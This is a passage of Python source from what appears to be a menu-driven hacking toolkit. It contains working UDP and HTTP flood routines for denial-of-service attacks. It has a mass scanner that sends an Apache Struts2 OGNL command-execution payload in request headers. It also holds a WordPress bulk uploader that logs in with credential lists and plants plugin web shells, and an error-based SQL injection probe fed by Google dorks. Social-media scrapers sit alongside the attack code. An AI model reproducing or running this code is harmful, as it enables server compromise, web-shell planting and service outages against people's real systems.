elif (choice == 2): back_mac()
elif (choice == 3): back_linux()
elif (choice == 4): back_web()
elif (choice == 5): back_script()
elif (choice == 6): back_shell()
elif (choice == 7): back_android()
elif choice == 'install' or choice == 'INSTALL': install()
elif choice == 'start' or choice == 'START': console()
elif (choice == '00') or (choice == '0'): os.system('python3 main.py')
else: sys.exit(NFound)
except KeyboardInterrupt:sys.exit(Aborted)
def banner_ms():
print('''%s
____ __ __ ____
| _ \ _ __ __ _ __ _ ___ _ __ | \/ / ___|
| | | | '__/ _` |/ _` |/ _ \| '_ \| |\/| \___ \
| |_| | | | (_| | (_| | (_) | | | | | | |___) |
|____/|_| \__,_|\__, |\___/|_| |_|_| |_|____/
|___/
\n'''%fg)
def main_tools():
ip1 = randint(0, 250)
ip2 = randint(0, 250)
ip3 = randint(0, 250)
ip4 = randint(0, 250)
multi = int(250)
choice = int(0)
threads = int(0)
ip_target = str(0)
port_target = int(0)
total_attack = int(0)
random_ip = str(ip1)+'.'+str(ip1)+'.'+str(ip1)+'.'+str(ip1)
ERROR_MSG = '\u001b[1m[u001b[1m[\u001b[31mERROR\u001b[0m\u001b[1m]\u001b[0m'
WARNING_MSG = fy+'[WARN]'
SUCCESS_MSG = fy+'[SUCCESS]'
IP_NOTFOUND = '\n\u001b[1m[\u001b[31mNOT FOUND IP!\u001b[0m\u001b[1m]\u001b[0m'
try:
clear()
banner_ms()
print(' %s DDOS'%MAIN_LIST('01'))
print(' %s TRACKER'%MAIN_LIST('02'))
print(' %s SCANNER'%MAIN_LIST('03'))
print(' %s SCRAPER'%MAIN_LIST('04'))
print(' %s Back to main\n'%MAIN_LIST('00'))
while True:
x = int(input_drg(promt_choice))
if (x == 1):
def mode():
clear()
banner_ms()
print(' %s UDP FLOOD '%MAIN_LIST('01'))
print(' %s HTTP FLOOD (V Golang)'%MAIN_LIST('02'))
while True:
choice = input_drg(promt_choice)
if choice == '1':
clear()
print(f'{PULS} Attacking {ip_target}')
udp_flood(ip_target, port_target)
elif choice == '2':http_flood(ip_target, threads)
elif choice == '3':udp_flood_perl(ip_target, port_target, threads)
class start_min:
def __init__(self):self.main_launc()
def main_launc(self):
clear()
banner_ms()
try:
self.target()
self.port()
self.thread()
mode()
self.start()
except KeyboardInterrupt:sys.exit(Aborted)
def target(self):
global ip_target
try:
ip_targets = input_drg(f'{PULS} IP Target : ')
if len(ip_targets) <= 5 or ip_targets == '':sys.exit(f'{IP_NOTFOUND}')
elif '.' not in ip_targets:sys.exit(IP_NOTFOUND)
else:ip_target = ip_targets
ip_target = ip_targets
try:
try:
if ip_targets[0]+ip_targets[1]+ip_targets[2]+ip_targets[3] == "www.":ip_targets = "http://" + ip_targets
elif ip_targets[0]+ip_targets[1]+ip_targets[2]+ip_targets[3] == "http":pass
else:ip_targets = "http://" + ip_targets
except:self.target()
try:self.host = ip_targets.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
except:self.host = ip_targets.replace("http://", "").replace("https://", "").split("/")[0]
ip_host = socket.gethostbyname(self.host)
except:self.target()
except KeyboardInterrupt:sys.exit(Aborted)
def port(self):
global port_target
global port_targets
try:
port_targets = str(input_drg(f'{PULS} Port Target: '))
if port_targets == '':
if 'https' in ip_target:port_target = int(443)
else:port_target = int(80)
elif len(port_targets) == '1':port_target = int(80)
else:port_target = port_targets
except ValueError:port_target = int(80)
def thread(self):
global threads
try:
thread_c = int(input_drg(f'{PULS} Thread[2000]: '))
if thread_c == '':threads = 2000
else:threads += thread_c
except ValueError:threads = 2000
def start(self):
clear()
ready = input_drg(f'\n\n {PULS} ENTER TO LAUNCH.')
def udp_flood(target, port):
bytes = random._urandom(50000)
t_g = (str(target), int(port))
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
total_attack += 1
s.sendto(bytes,t_g)
s.sendto(('GET /'+target+'HTTP/1.1\r\n'+'Host: '+random_ip+'\r\n\r\n').encode('ascii'), (target, port))
sys.stdout.write(f'{PULS} Flooding: '+str(ip_target)+' | Paket Dikirim ['+total_attack+']\r')
sys.stdout.flush()
try:
for i in range(str(multi)):
s.sendto(bytes,t_g)
total_attack += 1
s.sendto(('GET /'+target+'HTTP/1.1\r\n'+'Host: '+random_ip+'\r\n\r\n').encode('ascii'), (target, port))
sys.stdout.write(f'{PULS} Flooding: '+str(ip_target)+' | Paket Dikirim ['+total_attack+']\r')
sys.stdout.flush()
except:
try:s.close()
except:pass
except:
try:s.close()
except:pass
def http_flood(target, threads):
try:
sec=input_drg(f'{PULS} Second: ')
print('{}[1] Get\n{}[2] Post'.format(sb,sb))
met=input_drg(promt_choice)
if met == '1':met = 'get'
elif met == '2':met = 'post'
elif sec == '':sec = 60
os.system(f'go run tools/net/DDOS/http_flood.go {target} {threads} {met} {sec} tools/net/DDOS/header.txt')
except KeyboardInterrupt:sys.exit(Aborted)
except ValueError:sys.exit(NFound)
try:start_min()
except ValueError:sys.exit(NFound)
elif (x == 2):
query = input_drg(' Url: ')
x = (json.dumps(cybercrimeTrackerAPI().search(query), indent=2))
NAME_PATH = 'result/track_result.txt'
with open(f'{NAME_PATH}', 'w') as f:f.write(x)
print(f'{PULS} Success check /{NAME_PATH}')
elif (x == 3):
def mass_apache(choice):
c = choice
os.system('cls' and 'color -a' if os.name == "nt" else 'clear')
try:
fil = c
exp = "%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo pentesterdesk').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getinput_drgStream(),#ros)).(#ros.flush())}"
header={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36','Content-Type':exp}
print(f" {PULS} Loading... ")
ob = open(fil,'r')
lists = ob.readlines()
list1 = []
i = 0
for i in range(len(lists)):list1.append(lists[i].strip('\n'))
for site in list1:
req= requests.get(url=site,headers=header)
if 'pentesterdesk' in req.content:print(f" {SUCES_SYM} %s [Vulnerable]"%(site))
else:print(f" {ERROR_SYM} %s [Not-Vulnerable]"%(site))
except:pass
clear()
banner_ms()
print(' %s Mass Apache\n [CTRL+C] EXIT\n'%MAIN_LIST('01'))
try:
x = input_drg(f'{promt_choice}')
try:
z = input_drg(f'{PULS} List : ')
if x == 1 or len(x) == 1:mass_apache(z)
elif z == '':sys.exit(f'{MINS} Unknown Path.')
else:sys.exit(f'{NFound}')
except ValueError:sys.exit(f'{MINS} Value Error.')
except KeyboardInterrupt:sys.exit(f'{Aborted}')
elif (x == 4):
clear()
banner_ms()
try:
#print(' %s Web Scrape '%MAIN_LIST('01'))
print(' %s Instagram Scrape '%MAIN_LIST('01'))
print(' %s Twitter Scrape'%MAIN_LIST('02'))
print(' %s Wikipedia Scrape'%MAIN_LIST('03'))
print(' %s Youtube Scrape'%MAIN_LIST('04'))
x = int(input_drg(promt_choice))
if x == 'web scrape':
pass
"""
class Scraper:
def __init__(self, site):
self.site = site
def scrape(self):
r = urllib.request.urlopen(self.site)
html = r.read()
parser = "html.parser"
sp = BeautifulSoup(html,parser)
for tag in sp.find_all("a"):
url = tag.get("href")
if url is None:
continue
if "articles" in url:
print("\n" + url)
def mainscrap(scr):
Scraper(scr).scrape()"""
elif x == 1:
bot = instaloader.Instaloader()
def ig_info(users):
try:
profile = instaloader.Profile.from_username(bot.context, f'{users}')
x = (f"\n {fb}[+] Username : {fg}{fg}{profile.username}\n {fb}[+] User ID : {fg}{fg}{profile.userid}\n {fb}[+] Followers : {fg}{fg}{profile.followers}\n {fb}[+] Followees : {fg}{fg}{profile.followees}\n {fb}[+] Bio : {fg}{fg}{profile.biography,profile.external_url}\n {fb}[+] Total Post : {fg}{fg}{profile.mediacount}")
NAME_PATH = 'result/ig_scrap.txt'
with open(f'{NAME_PATH}', 'w') as wr:wr.write(x)
print(f'{SUCES_SYM} Logs saved at [ {NAME_PATH} ]')
except:sys.exit(f'{ERROR_SYM} Username not found!')
def ig_login():
try:
us = input_drg(f'{PULS} Username: ')
pw = getpass.getpass(f'{PULS} Password: ')
bot.login(user=f"{us}",passwd=f"{pw}")
bot.interactive_login(f"{us}")
except:sys.exit(f'{ERROR_SYM} Wrong Password / Username.')
def scrap_foll():
clear()
banner_ms()
res = int(input_drg(f'{PULS} Instagram Name: '))
print(' %s Scraping Followers'%MAIN_LIST('01'))
print(' %s Scraping Followees'%MAIN_LIST('02'))
try:
profile,followers,followees = instaloader.Profile.from_username(bot.context, f'{res}'), [follower.username for follower in profile.get_followers()], [followee.username for followee in profile.get_followees()]
x = int(input_drg(promt_choice))
if x == 1:print(followers)
elif x == 2:print(followees)
else:raise ValueError(f'{ERRORS} INVALID VALUE.')
except:sys.exit(f'{ERRORS} Login Needed.')
def ig_downloader(users):
profile = instaloader.Profile.from_username(bot.context, 'users')
posts = profile.get_posts()
for index, post in enumerate(posts, 1):bot.download_post(post, target=f"{profile.username}_{index}")
def ghost_follow(users):
USER = users
PROFILE = USER
bot.load_session_from_file(USER)
profile = instaloader.Profile.from_username(bot.context, PROFILE)
likes = set()
print("Fetching likes of all posts of profile {}.".format(profile.username))
for post in profile.get_posts():
print(post)
likes = likes | set(post.get_likes())
print("Fetching followers of profile {}.".format(profile.username))
followers = set(profile.get_followers())
ghosts = followers - likes
print("Storing ghosts into file.")
with open("result/inactive-users.txt", 'w') as f:
for ghost in ghosts:print(ghost.username, file=f)
def main_scraper():
clear()
banner_ms()
print(' %s Account Info'%MAIN_LIST('01'))
print(' %s Instagram Login'%MAIN_LIST('02'))
print(' %s Scrap Follow '%MAIN_LIST('03'))
print(' %s Download Post'%MAIN_LIST('04'))
print(' %s Ghost Followers'%MAIN_LIST('05'))
try:
x = int(input_drg(promt_choice))
if x == 1:
clear()
banner_ms()
try:
res = input_drg(f'{PULS} Instagram Name: ')
try:
if res == '' or len(res) == '2':
print(f'{ERRORS} try again.')
time.sleep(2)
main_scraper()
ig_info(res)
except:sys.exit(f'{ERROR_SYM} Username not found!')
except KeyboardInterrupt:sys.exit(f'{Aborted}')
elif x == 2:ig_login()
elif x == 3:scrap_foll()
elif x == 4:
clear()
banner_ms()
try:
res = input_drg(f'{PULS} Instagram Name: ')
if res == '' or len(res) == '2':
print(f'{ERRORS} try again.')
time.sleep(2)
main_scraper()
ig_downloader(res)
except KeyboardInterrupt:sys.exit(f'{Aborted}')
elif x == 5:
clear()
banner_ms()
try:
res = input_drg(f'{PULS} Instagram Name: ')
try:
if res == '' or len(res) == '2':
print(f'{ERRORS} try again.')
time.sleep(2)
main_scraper()
ghost_follow(res)
except Exception as e:sys.exit(f'{ERROR_SYM} {e}')
except KeyboardInterrupt:sys.exit(f'{Aborted}')
except KeyboardInterrupt:sys.exit(f'{Aborted}')
except ValueError:sys.exit(f'{NFound}')
main_scraper()
elif x == 2:
def get_followings(username):
c = twint.Config()
c.Username = username
c.Pandas = True
twint.run.Following(c)
list_of_followings = twint.storage.panda.Follow_df
return list_of_followings['following'][username]
def stat(named):
clear()
banner_ms()
try:
users = [f'{named}']
followings = {}
following_list = []
for person in users:
print(f'{PULS} Starting : {person}')
try:followings[person], following_list = get_followings(person), following_list + followings[person]
except KeyError:print(f'{ERRORS} IndexError')
Counter(following_list).most_common(10)
follow_relations ={}
for following_user in followings.keys():
follow_relation_list = []
for followed_user in followings.keys():
if followed_user in followings[following_user]:
follow_relation_list.append(True)
else:
follow_relation_list.append(False)
follow_relations[following_user] = follow_relation_list
following_df = pd.DataFrame.from_dict(follow_relations,orient='index', columns=followings.keys())
following_df
except KeyboardInterrupt:sys.exit(Aborted)
try:
names = input_drg(f'{PULS} Username: ')
if names == '':sys.exit(f'{ERRORS}')
stat(names)
except:pass
elif x == 3:
clear()
banner_ms()
try:
print('[+] WIKIPEDIA [+]')
xi = input_drg(f'{PULS} Search[Ex: python]: ')
try:
clear()
print(wiki.search(f"{xi}"))
xs = input_drg(f'{PULS} Summary: ')
try:
clear()
print(wiki.summary(f"{xs}"))
RES = wiki.summary(f"{xs}")
NAME_PATH = 'result/wiki_logs.txt'
with open(f'{NAME_PATH}', 'w') as wrt:
wrt.write(RES)
print(f'{SUCES_SYM} Wikipedia Logs saved at [{NAME_PATH}]')
except:sys.exit(f"{ERRORS}")
except ValueError:sys.exit(f'{ERRORS}')
except KeyboardInterrupt:sys.exit(Aborted)
elif x == 4:
try:
urls = input_drg(f'{PULS} Youtube Link: ')
if 'https://www.youtube.com/' not in urls:
sys.exit(f'{ERROR_SYM} Try again.')
time.sleep(1)
clear()
banner_ms()
else:
yt_logs = YouTube(urls)
print(f"""\n {fb}[+] Title : {sb}{fr}{yt_logs.title}\n {fb}[+] Views : {sb}{fr}{yt_logs.views}\n {fb}[+] Duration : {sb}{fr}{yt_logs.length}\n {fb}[+] Description : {sb}{fr}{yt_logs.description}\n {fb}[+] Ratings : {sb}{fr}{yt_logs.rating}""")
stream = yt_logs.streams.get_highest_resolution()
stream.download()
print(f"{PULS} Download completed!!")
except ValueError:sys.exit(f"{ERRORS}")
else:raise ValueError(NFound)
except ValueError:sys.exit(NFound)
except KeyboardInterrupt:sys.exit(Aborted)
elif (x == 0):os.system('python3 main.py')
else:sys.exit(NFound)
except KeyboardInterrupt:sys.exit(Aborted)
def wpup_shell():
clear()
banner_ms()
print(("""{}{}
Uploader - Plugins WordPress
[*] Ex: list_wordpress.txt
[!] List must be http://domain.com/wp-login.php#username@password
""".format(fg, sb)))
sites_file = input_drg(' [+] List: ')
if os.path.isfile(sites_file) :
sites = open(sites_file,'r')
file = str(input_drg('{}{} Put Your Zipped File: '.format(fy, sb)))
if os.path.isfile(file) :
if '.zip' in file :
pluginname = str(input_drg('{}{} [+] Your Plugin Name ex: '.format(fm, sb)))
shellnamezip = str(input_drg('{}{} [#] Shell Script : '.format(fy, sb)))
findString = str(input_drg('{}{} [=] Name Of Your Shell (String) : '.format(fc, sb)))
print('')
for site in sites :
try :
site = site.strip()
req = requests.session()
pLogin = re.compile('http(.*)/wp-login.php#(.*)@(.*)')
if re.findall(pLogin,site) :
dataLogin = re.findall(pLogin,site)
domain = 'http'+dataLogin[0][0]
user = dataLogin[0][1]
password = dataLogin[0][2]
print("{} [*] Site :{}{} ".format(fb, fg,sb)+domain)
print("{} [*] Username :{}{} ".format(fb, fg,sb)+user)
print("{} [*] Password :{}{} ".format(fb, fg,sb)+password)
pattern = re.compile('<input_drg type="hidden" id="_wpnonce" name="_wpnonce" value="(.*)" /><input_drg type="hidden" name="_wp_http_referer"')
post = {'log':user,'pwd':password,'wp-submit':'Log In','redirect_to':domain+'/wp-admin/','testcookie':'1' }
try:login = req.post(domain+'/wp-login.php',data=post,timeout=30)
except :
print('{} [-] Time Out \n'.format(fr))
invalid = open('invalid.txt','a')
invalid.write(site+"\n")
invalid.close()
continue
check = req.get(domain+'/wp-admin',timeout=60)
if 'profile.php' in check.content :
print("{} [+] Successful login".format(fg))
plugin_install_php = req.get(domain+'/wp-admin/plugin-install.php?tab=upload',timeout=60)
if re.findall(pattern,plugin_install_php.content) :
id = re.findall(pattern,plugin_install_php.content)
id = id[0]
update_php = domain+'/wp-admin/update.php?action=upload-plugin'
shellname = open(file,'rb')
filename = file
filedata = {'_wpnonce':id,'_wp_http_referer':'/wp-admin/plugin-install.php','install-plugin-submit':'Install Now'}
if '.zip' in file :fileup = {'pluginzip':(filename,shellname,'multipart/form-data')}
else :fileup = {'pluginzip':(filename,shellname)}
Cherryreq = req.post(update_php, data=filedata, files=fileup,timeout=60)
if '.zip' in file :
shell = domain+'/wp-content/plugins/'+pluginname+'/'+shellnamezip
check_plugin_shell = requests.get(shell,timeout=60)
if findString in check_plugin_shell.content :
print(" [+] "+shell+' =>'+'{} Successful upload\n'.format(fg))
shellsFile = open('shells.txt','a')
shellsFile.write(shell+"\n")
shellsFile.close()
else :
print("{} [-] Failed upload\n".format(fr))
upUP = open('unUP.txt','a')
upUP.write(site+"\n")
upUP.close()
else :
print("{} [-] Upload page not Working\n".format(fr))
upUP = open('unUP.txt','a')
upUP.write(site+"\n")
upUP.close()
else :
print('{} [-] Failed login \n'.format(fr))
invalid = open('invalid.txt','a')
invalid.write(site+"\n")
invalid.close()
else:print("{} Error in list !\n Must be : http://domain.com/wp-login.php#username@password".format(fr))
except :
site = site.strip()
print(' [-]'+'{} Time Out \n'.format(fr))
invalid = open('invalid.txt','a')
invalid.write(site+"\n")
invalid.close()
continue
else :
print(fr+" [!] File does not exist !")
sys.exit(0)
else:
print(fg+" "+sites_file+fr+ " does not exist !")
sys.exit(0)
def some_tools():
try:
clear()
banner_ms()
small_tools()
x = int(input_drg(promt_choice))
if x == 1:
z = input_drg(' [+] Url : ')
def make_tiny(z):
request_url = ('http://tinyurl.com/api-create.php?'+urlencode({'url':z}))
with contextlib.closing(urlopen(request_url)) as response:return response.read().decode('utf-8')
for tinyurl in map(make_tiny, z):print(f'{PULS} Done: '+tinyurl)
elif x == 2:
clear()
banner_ms()
MAX_NONCE = 100000000000
def SHA256(text):return sha256(text.encode("ascii")).hexdigest()
def mine(block_number, transactions, previous_hash, prefix_zeros):
prefix_str = '0'*prefix_zeros
for nonce in range(MAX_NONCE):
text = str(block_number) + transactions + previous_hash + str(nonce)
new_hash = SHA256(text)
if new_hash.startswith(prefix_str):
print(f"{fg} [+] Successfully mined with value: {nonce}")
return new_hash
raise BaseException(fr+" [-] Couldn't not find has {} times".format(MAX_NONCE))
transactions='Amazon->Google->45'
difficulty=4
start = time.time()
print(" --> Mining Started.")
new_hash = mine(5,transactions,'0000000xa036944e29568d0cff17edbe038f81208fecf9a66be9a2b8321c6ec7', difficulty)
total_time = str((time.time() - start))
print("{} [+] Total Time : {}{} seconds".format(fb,fg,total_time))
print('{} [+] Transactions: {}{}'.format(fb,fg,new_hash))
NAME_PATH = 'result/bit_mining.txt'
with open(f'{NAME_PATH}', 'w') as wr:wr.write(new_hash)
elif x == 3:pass
elif (x == 0):os.system('python3 main.py')
else:sys.exit(NFound)
except KeyboardInterrupt:sys.exit(Aborted)
def random_dork():
dork_path = "dork.txt"
dork_file = open(dork_path, "r")
line = next(dork_file)
for num, dorkLine in enumerate(dork_file):
if random.randrange(num + 2): continue
line = dorkLine
return line
def check_url(url):
try:
hdr = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
'Accept-Encoding': 'none',
'Accept-Language': 'en-US,en;q=0.8',
'Connection': 'keep-alive'
}
url_fixed = url + '\''
http = urllib3.PoolManager()
request = http.request('GET', url_fixed, headers=hdr)
soup = BeautifulSoup(request.data, 'lxml')
find_error = soup.findAll(text=re.compile("MySQL"))
if find_error:return str("true")
except:
googleScanner()
def googleScanner():
clear()
banner_ms()
print(' [+] Google Scanner\n')
dork = input_drg(' [+] Dork: ')
if not dork:dork = random_dork()
#print('[!] Using '+dork)
vulSites = []
try:
for url in search(dork, stop=50, start=0, pause = 2.0):
print('[!] Logs '+url)
url, sep, tail = url.partition('&sa')
try:
isVul = check_url(url)
if isVul == 'true':vulSites.append(url)
except urllib3.exceptions.MaxRetryError:continue
except urllib3.exceptions.HTTPError:exit('{} [503] Service Unreachable'.format(fr))
except urllib.error.HTTPError:print("{} HTTP Error please try later or use tor, proxy, vpn.".format(fr))
else:
for vulnerable in vulSites:pass
if len(vulSites) == 0:return False
save_sites(vulSites)
def googleScraper(dork):
clear()
banner_ms()
def inject( u ):
payload = { 'extentions' : '1', 'rpp' : '1 /*!00000procedure analyse( updatexml(null,concat (0x3a,user(),0x3a,version()),null),1)*/' }
o = urlparse(u)
url = o.scheme + '://' + o.netloc + o.path
try:
r = requests.get( url, params = payload )
if 'XPATH syntax error' in r.text:return url + ':' + re.search( "XPATH syntax error: ':(.+?)'", r.text ).group(1)
else:return url + ':' + fr+'Not Vulnerable'
except:
return url + ':' + fr+'Bad Response'